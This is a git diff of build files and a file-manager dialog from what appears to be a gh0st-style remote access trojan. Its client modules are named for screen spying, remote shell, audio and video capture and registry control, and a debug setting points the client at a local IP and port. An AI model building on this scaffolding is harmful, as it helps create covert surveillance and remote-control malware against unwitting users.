<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="Common.cpp" />
|
||||||
|
<ClCompile Include="CursorInfor.cpp" />
|
||||||
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CursorInfor.h" />
|
||||||
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
<ClInclude Include="LoginServer.h" />
|
||||||
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="RegisterManager.h" />
|
||||||
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="VideoCodec.h" />
|
||||||
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
177
client/ghost.vcxproj.filters
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="AudioManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Buffer.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CaptureVideo.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ClientDll.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Common.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CursorInfor.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IOCPClient.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="KernelManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LoginServer.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Manager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="RegisterManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="RegisterOperation.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ScreenManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ScreenSpy.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ServicesManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="StdAfx.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SystemManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="TalkManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="VideoManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Audio.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="AudioManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Buffer.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CaptureVideo.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Common.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CursorInfor.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="IOCPClient.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="KernelManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="LoginServer.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Manager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="RegisterManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="RegisterOperation.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="resource.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ScreenManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ScreenSpy.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ServicesManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="StdAfx.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="SystemManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="TalkManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VideoCodec.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VideoManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zconf.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zlib.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Media>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
10
client/ghost.vcxproj.user
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
<LocalDebuggerCommandArguments>192.168.43.165 2356</LocalDebuggerCommandArguments>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
@@ -10,6 +10,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRu
|
|||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||||
EndProjectSection
|
EndProjectSection
|
||||||
EndProject
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "..\client\ghost.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||||
|
EndProject
|
||||||
Global
|
Global
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
Debug|Win32 = Debug|Win32
|
Debug|Win32 = Debug|Win32
|
||||||
@@ -28,6 +30,10 @@ Global
|
|||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.Build.0 = Release|Win32
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
HideSolutionNode = FALSE
|
HideSolutionNode = FALSE
|
||||||
|
|||||||
@@ -127,10 +127,10 @@
|
|||||||
<ClInclude Include="BuildDlg.h" />
|
<ClInclude Include="BuildDlg.h" />
|
||||||
<ClInclude Include="CpuUseage.h" />
|
<ClInclude Include="CpuUseage.h" />
|
||||||
<ClInclude Include="EditDialog.h" />
|
<ClInclude Include="EditDialog.h" />
|
||||||
<ClInclude Include="FileCompress.h" />
|
|
||||||
<ClInclude Include="FileManagerDlg.h" />
|
<ClInclude Include="FileManagerDlg.h" />
|
||||||
<ClInclude Include="FileTransferModeDlg.h" />
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
<ClInclude Include="iniFile.h" />
|
<ClInclude Include="iniFile.h" />
|
||||||
|
<ClInclude Include="InputDlg.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="RegisterDlg.h" />
|
<ClInclude Include="RegisterDlg.h" />
|
||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
@@ -156,10 +156,10 @@
|
|||||||
<ClCompile Include="BuildDlg.cpp" />
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
<ClCompile Include="CpuUseage.cpp" />
|
<ClCompile Include="CpuUseage.cpp" />
|
||||||
<ClCompile Include="EditDialog.cpp" />
|
<ClCompile Include="EditDialog.cpp" />
|
||||||
<ClCompile Include="FileCompress.cpp" />
|
|
||||||
<ClCompile Include="FileManagerDlg.cpp" />
|
<ClCompile Include="FileManagerDlg.cpp" />
|
||||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="iniFile.cpp" />
|
<ClCompile Include="iniFile.cpp" />
|
||||||
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
<ClCompile Include="RegisterDlg.cpp" />
|
<ClCompile Include="RegisterDlg.cpp" />
|
||||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
|
|||||||
@@ -165,9 +165,6 @@
|
|||||||
<ClInclude Include="FileTransferModeDlg.h">
|
<ClInclude Include="FileTransferModeDlg.h">
|
||||||
<Filter>远程文件</Filter>
|
<Filter>远程文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
<ClInclude Include="FileCompress.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="TalkDlg.h">
|
<ClInclude Include="TalkDlg.h">
|
||||||
<Filter>即时消息</Filter>
|
<Filter>即时消息</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
@@ -195,6 +192,9 @@
|
|||||||
<ClInclude Include="Audio.h">
|
<ClInclude Include="Audio.h">
|
||||||
<Filter>远程音频</Filter>
|
<Filter>远程音频</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="InputDlg.h">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="2015Remote.cpp">
|
<ClCompile Include="2015Remote.cpp">
|
||||||
@@ -245,9 +245,6 @@
|
|||||||
<ClCompile Include="SystemDlg.cpp">
|
<ClCompile Include="SystemDlg.cpp">
|
||||||
<Filter>远程系统管理</Filter>
|
<Filter>远程系统管理</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="FileCompress.cpp">
|
|
||||||
<Filter>远程文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="AudioDlg.cpp">
|
<ClCompile Include="AudioDlg.cpp">
|
||||||
<Filter>远程音频</Filter>
|
<Filter>远程音频</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
@@ -266,6 +263,9 @@
|
|||||||
<ClCompile Include="Audio.cpp">
|
<ClCompile Include="Audio.cpp">
|
||||||
<Filter>远程音频</Filter>
|
<Filter>远程音频</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="InputDlg.cpp">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="2015Remote.rc">
|
<ResourceCompile Include="2015Remote.rc">
|
||||||
|
|||||||
@@ -1104,7 +1104,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
//ת<><D7AA>CFileManagerDlg <20><><EFBFBD>캯<EFBFBD><ECBAAF>
|
//ת<><D7AA>CFileManagerDlg <20><><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject);
|
CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject);
|
||||||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||||||
Dlg->Create(IDD_DIALOG_FILE_MANAGER, GetDesktopWindow()); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dlg
|
Dlg->Create(IDD_FILE, GetDesktopWindow()); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dlg
|
||||||
Dlg->ShowWindow(SW_SHOW);
|
Dlg->ShowWindow(SW_SHOW);
|
||||||
|
|
||||||
ContextObject->v1 = FILEMANAGER_DLG;
|
ContextObject->v1 = FILEMANAGER_DLG;
|
||||||
|
|||||||
@@ -1,74 +0,0 @@
|
|||||||
// FileCompress.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
|
||||||
//
|
|
||||||
|
|
||||||
#include "stdafx.h"
|
|
||||||
#include "2015Remote.h"
|
|
||||||
#include "FileCompress.h"
|
|
||||||
#include "afxdialogex.h"
|
|
||||||
|
|
||||||
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
|
||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CFileCompress, CDialog)
|
|
||||||
|
|
||||||
CFileCompress::CFileCompress(CWnd* pParent, ULONG n)
|
|
||||||
: CDialog(CFileCompress::IDD, pParent)
|
|
||||||
, m_EditRarName(_T(""))
|
|
||||||
{
|
|
||||||
m_ulType = n;
|
|
||||||
}
|
|
||||||
|
|
||||||
CFileCompress::~CFileCompress()
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
void CFileCompress::DoDataExchange(CDataExchange* pDX)
|
|
||||||
{
|
|
||||||
CDialog::DoDataExchange(pDX);
|
|
||||||
DDX_Text(pDX, IDC_EDIT_RARNAME, m_EditRarName);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CFileCompress, CDialog)
|
|
||||||
END_MESSAGE_MAP()
|
|
||||||
|
|
||||||
|
|
||||||
// CFileCompress <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
|
|
||||||
BOOL CFileCompress::OnInitDialog()
|
|
||||||
{
|
|
||||||
CDialog::OnInitDialog();
|
|
||||||
|
|
||||||
CString strTips;
|
|
||||||
switch(m_ulType)
|
|
||||||
{
|
|
||||||
case 1:
|
|
||||||
{
|
|
||||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
|
||||||
SetDlgItemText(IDC_STATIC, strTips);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case 2:
|
|
||||||
{
|
|
||||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
|
||||||
SetDlgItemText(IDC_STATIC, strTips);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case 3:
|
|
||||||
{
|
|
||||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
|
||||||
SetDlgItemText(IDC_STATIC, strTips);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case 4:
|
|
||||||
{
|
|
||||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̽<EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
|
||||||
SetDlgItemText(IDC_STATIC, strTips);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
UpdateData(TRUE);
|
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
|
||||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
|
|
||||||
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
|
||||||
|
|
||||||
class CFileCompress : public CDialog
|
|
||||||
{
|
|
||||||
DECLARE_DYNAMIC(CFileCompress)
|
|
||||||
|
|
||||||
public:
|
|
||||||
CFileCompress(CWnd* pParent = NULL,ULONG n = 0); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
|
||||||
virtual ~CFileCompress();
|
|
||||||
|
|
||||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
enum { IDD = IDD_DIALOG_FILE_COMPRESS };
|
|
||||||
|
|
||||||
protected:
|
|
||||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
|
||||||
|
|
||||||
DECLARE_MESSAGE_MAP()
|
|
||||||
public:
|
|
||||||
CString m_EditRarName;
|
|
||||||
ULONG m_ulType;
|
|
||||||
virtual BOOL OnInitDialog();
|
|
||||||
};
|
|
||||||
@@ -1,190 +1,178 @@
|
|||||||
|
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||||
|
#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_
|
||||||
|
#include "TrueColorToolBar.h" // Added by ClassView
|
||||||
|
#if _MSC_VER > 1000
|
||||||
#pragma once
|
#pragma once
|
||||||
#include "afxcmn.h"
|
#endif // _MSC_VER > 1000
|
||||||
#include "IOCPServer.h"
|
#include "gh0st2Remote.h"
|
||||||
#include "afxwin.h"
|
|
||||||
#include "TrueColorToolBar.h"
|
|
||||||
|
|
||||||
// CFileManagerDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// FileManagerDlg.h : header file
|
||||||
|
//
|
||||||
|
|
||||||
typedef struct
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
{
|
// CFileManagerDlg dialog
|
||||||
DWORD dwSizeHigh;
|
typedef CList<CString, CString&> strList;
|
||||||
DWORD dwSizeLow;
|
|
||||||
}FILE_SIZE;
|
|
||||||
|
|
||||||
typedef CList<CString, CString&> ListTemplate;
|
|
||||||
class CFileManagerDlg : public CDialog
|
class CFileManagerDlg : public CDialog
|
||||||
{
|
{
|
||||||
DECLARE_DYNAMIC(CFileManagerDlg)
|
// Construction
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
bool m_bIsStop;
|
||||||
virtual ~CFileManagerDlg();
|
CString m_strReceiveLocalFile;
|
||||||
|
CString m_strUploadRemoteFile;
|
||||||
|
void ShowProgress();
|
||||||
|
void SendStop();
|
||||||
|
int m_nTransferMode;
|
||||||
|
CString m_hCopyDestFolder;
|
||||||
|
void SendContinue();
|
||||||
|
void SendException();
|
||||||
|
void EndLocalRecvFile();
|
||||||
|
void EndRemoteDeleteFile();
|
||||||
|
CString m_strOperatingFile; // <20>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
__int64 m_nOperatingFileLength; // <20>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||||
|
__int64 m_nCounter;// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
void WriteLocalRecvFile();
|
||||||
|
void CreateLocalRecvFile();
|
||||||
|
BOOL SendDownloadJob();
|
||||||
|
BOOL SendUploadJob();
|
||||||
|
BOOL SendDeleteJob();
|
||||||
|
|
||||||
VOID CFileManagerDlg::FixedClientDiskDriverList();
|
strList m_Remote_Download_Job;
|
||||||
VOID CFileManagerDlg::FixedServerDiskDriverList();
|
strList m_Remote_Upload_Job;
|
||||||
|
strList m_Remote_Delete_Job;
|
||||||
|
CTrueColorToolBar m_wndToolBar_Local;
|
||||||
|
CTrueColorToolBar m_wndToolBar_Remote;
|
||||||
|
void ShowMessage(char *lpFmt, ...);
|
||||||
|
CString m_Remote_Path;
|
||||||
|
BYTE m_bRemoteDriveList[1024];
|
||||||
|
CString GetParentDirectory(CString strPath);
|
||||||
|
void OnReceiveComplete();
|
||||||
|
|
||||||
CONTEXT_OBJECT* m_ContextObject;
|
CImageList* m_pImageList_Large;
|
||||||
IOCPServer* m_iocpServer;
|
CImageList* m_pImageList_Small;
|
||||||
CString m_strClientIP;
|
|
||||||
BYTE m_szClientDiskDriverList[0x1000];
|
|
||||||
char m_szServerDiskDriverList[0x1000];
|
|
||||||
